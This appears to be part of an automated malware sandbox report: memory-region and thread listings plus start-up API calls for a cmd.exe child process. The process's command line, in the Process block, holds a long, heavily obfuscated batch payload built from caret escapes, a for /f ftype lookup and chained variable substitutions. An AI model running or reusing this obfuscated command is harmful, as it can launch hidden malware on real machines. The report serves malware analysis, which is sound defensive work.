	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002d90000"
	        filename = ""

Region:
	              id = 1739
	        start_va = 0x48a0000
	          end_va = 0x495ffff
	     entry_point = 0x48a0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 1740
	        start_va = 0x4b00000
	          end_va = 0x4bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b00000"
	        filename = ""

Region:
	              id = 1741
	        start_va = 0x4c00000
	          end_va = 0x4cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c00000"
	        filename = ""

Region:
	              id = 1742
	        start_va = 0x4d00000
	          end_va = 0x4dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004d00000"
	        filename = ""

Region:
	              id = 1743
	        start_va = 0x4e00000
	          end_va = 0x4efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004e00000"
	        filename = ""

Region:
	              id = 1744
	        start_va = 0x4fc0000
	          end_va = 0x503ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004fc0000"
	        filename = ""

Region:
	              id = 1745
	        start_va = 0x5040000
	          end_va = 0x513ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005040000"
	        filename = ""

Region:
	              id = 1746
	        start_va = 0x5140000
	          end_va = 0x523ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005140000"
	        filename = ""

Region:
	              id = 1747
	        start_va = 0x5240000
	          end_va = 0x623ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005240000"
	        filename = ""

Region:
	              id = 1748
	        start_va = 0x6250000
	          end_va = 0x62cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006250000"
	        filename = ""

Region:
	              id = 1749
	        start_va = 0x62e0000
	          end_va = 0x635ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000062e0000"
	        filename = ""

Region:
	              id = 1750
	        start_va = 0x7fee56c0000
	          end_va = 0x7fee5893fff
	     entry_point = 0x7fee56c0000
	     region_type = mapped_file
	            name = "msxml3.dll"
	        filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll")

Region:
	              id = 1751
	        start_va = 0x7fffff56000
	          end_va = 0x7fffff57fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff56000"
	        filename = ""

Region:
	              id = 1752
	        start_va = 0x7fffff58000
	          end_va = 0x7fffff59fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff58000"
	        filename = ""

Region:
	              id = 1753
	        start_va = 0xed0000
	          end_va = 0xed0fff
	     entry_point = 0xed0000
	     region_type = mapped_file
	            name = "msxml3r.dll"
	        filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll")

Region:
	              id = 1754
	        start_va = 0xee0000
	          end_va = 0xefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ee0000"
	        filename = ""

Region:
	              id = 1755
	        start_va = 0x1940000
	          end_va = 0x19bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001940000"
	        filename = ""

Region:
	              id = 1756
	        start_va = 0x2490000
	          end_va = 0x250ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002490000"
	        filename = ""

Region:
	              id = 1757
	        start_va = 0x40d0000
	          end_va = 0x414ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000040d0000"
	        filename = ""

Region:
	              id = 1758
	        start_va = 0x6360000
	          end_va = 0x675ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006360000"
	        filename = ""

Region:
	              id = 1759
	        start_va = 0x7fef8b10000
	          end_va = 0x7fef8b8bfff
	     entry_point = 0x7fef8b10000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")


Thread:
	id = 41
	os_tid = 0x57c


Thread:
	id = 42
	os_tid = 0x298


Thread:
	id = 43
	os_tid = 0x150


Thread:
	id = 44
	os_tid = 0x460


Thread:
	id = 45
	os_tid = 0x7fc


Thread:
	id = 46
	os_tid = 0x7f4


Thread:
	id = 47
	os_tid = 0x7f0


Thread:
	id = 48
	os_tid = 0x7e4


Thread:
	id = 49
	os_tid = 0x79c


Thread:
	id = 50
	os_tid = 0x790


Thread:
	id = 51
	os_tid = 0x774


Thread:
	id = 52
	os_tid = 0x76c


Thread:
	id = 53
	os_tid = 0x768


Thread:
	id = 54
	os_tid = 0x750


Thread:
	id = 55
	os_tid = 0x74c


Thread:
	id = 56
	os_tid = 0x71c


Thread:
	id = 57
	os_tid = 0x718


Thread:
	id = 58
	os_tid = 0x70c


Thread:
	id = 59
	os_tid = 0x6ec


Thread:
	id = 60
	os_tid = 0x4c0


Thread:
	id = 61
	os_tid = 0x498


Thread:
	id = 62
	os_tid = 0x494


Thread:
	id = 63
	os_tid = 0x484


Thread:
	id = 64
	os_tid = 0x480


Thread:
	id = 65
	os_tid = 0x474


Thread:
	id = 66
	os_tid = 0x1cc


Thread:
	id = 67
	os_tid = 0x120


Thread:
	id = 68
	os_tid = 0x3fc


Thread:
	id = 69
	os_tid = 0x3f0


Thread:
	id = 70
	os_tid = 0x3e4


Thread:
	id = 71
	os_tid = 0x398


Thread:
	id = 72
	os_tid = 0x394


Thread:
	id = 73
	os_tid = 0x390


Thread:
	id = 74
	os_tid = 0x384


Thread:
	id = 75
	os_tid = 0x378


Thread:
	id = 76
	os_tid = 0x370


Thread:
	id = 77
	os_tid = 0xae8


Thread:
	id = 78
	os_tid = 0xaec


Thread:
	id = 79
	os_tid = 0xaf0


Thread:
	id = 80
	os_tid = 0xaf4


Thread:
	id = 81
	os_tid = 0xaf8


Thread:
	id = 82
	os_tid = 0xafc


Thread:
	id = 83
	os_tid = 0xb00


Thread:
	id = 84
	os_tid = 0xb04


Thread:
	id = 85
	os_tid = 0xb08


Thread:
	id = 87
	os_tid = 0xb10


Thread:
	id = 88
	os_tid = 0xb14


Thread:
	id = 89
	os_tid = 0xb18


Thread:
	id = 108
	os_tid = 0xbdc


Thread:
	id = 113
	os_tid = 0x450


Thread:
	id = 114
	os_tid = 0x8bc


Thread:
	id = 115
	os_tid = 0x8c4


Thread:
	id = 116
	os_tid = 0x5b4


Thread:
	id = 117
	os_tid = 0x8c8


Thread:
	id = 118
	os_tid = 0x778


Thread:
	id = 119
	os_tid = 0x5c8


Thread:
	id = 120
	os_tid = 0x770


Thread:
	id = 121
	os_tid = 0x490


Thread:
	id = 122
	os_tid = 0x898


Thread:
	id = 123
	os_tid = 0x8d0


Thread:
	id = 124
	os_tid = 0x410


Thread:
	id = 128
	os_tid = 0x7ac


Thread:
	id = 129
	os_tid = 0x140


Thread:
	id = 130
	os_tid = 0xa38


Thread:
	id = 132
	os_tid = 0xb5c


Thread:
	id = 133
	os_tid = 0xb74


Thread:
	id = 134
	os_tid = 0xb8c


Thread:
	id = 135
	os_tid = 0xba4


Thread:
	id = 136
	os_tid = 0xbac


Thread:
	id = 137
	os_tid = 0xb40


Thread:
	id = 147
	os_tid = 0xbd0


Thread:
	id = 148
	os_tid = 0xaf4


Thread:
	id = 239
	os_tid = 0xad0


Thread:
	id = 261
	os_tid = 0x7b8


Thread:
	id = 268
	os_tid = 0x6c8


Thread:
	id = 269
	os_tid = 0xbf4


Thread:
	id = 316
	os_tid = 0x750


Thread:
	id = 317
	os_tid = 0x600


Thread:
	id = 318
	os_tid = 0x5f0


Process:
	id = "3"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x4e79e000"
	os_pid = "0xb1c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x8e4"
	cmd_line = "CMD.Exe                  /c ^F^o^r ; /^f ;; \"   tokens=  +2 delims=FeH\"  , %^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,%^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&"
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 937
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 938
	        start_va = 0x1b0000
	          end_va = 0x2affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001b0000"
	        filename = ""

Region:
	              id = 939
	        start_va = 0x49e40000
	          end_va = 0x49e98fff
	     entry_point = 0x49e40000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 940
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 941
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 942
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 943
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 944
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 945
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 946
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 947
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 948
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 949
	        start_va = 0x3d0000
	          end_va = 0x4cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 950
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 951
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 952
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 953
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 954
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 955
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 956
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 957
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 958
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d7fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 959
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 960
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 961
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 962
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 963
	        start_va = 0xc0000
	          end_va = 0xc6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 964
	        start_va = 0xd0000
	          end_va = 0xd1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000d0000"
	        filename = ""

Region:
	              id = 965
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 966
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 967
	        start_va = 0x2b0000
	          end_va = 0x3affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002b0000"
	        filename = ""

Region:
	              id = 968
	        start_va = 0x650000
	          end_va = 0x65ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000650000"
	        filename = ""

Region:
	              id = 969
	        start_va = 0x660000
	          end_va = 0x7e7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000660000"
	        filename = ""

Region:
	              id = 970
	        start_va = 0x7f0000
	          end_va = 0x970fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007f0000"
	        filename = ""

Region:
	              id = 971
	        start_va = 0x980000
	          end_va = 0x1d7ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000980000"
	        filename = ""

Region:
	              id = 972
	        start_va = 0x1d80000
	          end_va = 0x20c2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001d80000"
	        filename = ""

Region:
	              id = 973
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 974
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 975
	        start_va = 0x20d0000
	          end_va = 0x239efff
	     entry_point = 0x20d0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")


Thread:
	id = 90
	os_tid = 0xb20

	[0056.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2afdd0 | out: lpSystemTimeAsFileTime=0x2afdd0*(dwLowDateTime=0xe3fb9e30, dwHighDateTime=0x1d475a6)) 
	[0056.102] GetCurrentProcessId () returned 0xb1c
	[0056.102] GetCurrentThreadId () returned 0xb20
	[0056.102] GetTickCount () returned 0x1e31d
	[0056.102] QueryPerformanceCounter (in: lpPerformanceCount=0x2afdd8 | out: lpPerformanceCount=0x2afdd8*=1813527600000) returned 1
	[0056.103] GetModuleHandleW (lpModuleName=0x0) returned 0x49e40000
	[0056.103] __set_app_type (_Type=0x1) 
	[0056.103] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e67810) returned 0x0
	[0056.104] __getmainargs (in: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610, _DoWildCard=0, _StartInfo=0x49e6e0f4 | out: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610) returned 0
	[0056.105] GetCurrentThreadId () returned 0xb20
	[0056.105] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb20) returned 0x3c
	[0056.105] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0056.105] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40
	[0056.105] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0056.105] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0056.105] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2afd68 | out: phkResult=0x2afd68*=0x0) returned 0x2
	[0056.106] VirtualQuery (in: lpAddress=0x2afd50, lpBuffer=0x2afcd0, dwLength=0x30 | out: lpBuffer=0x2afcd0*(BaseAddress=0x2af000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
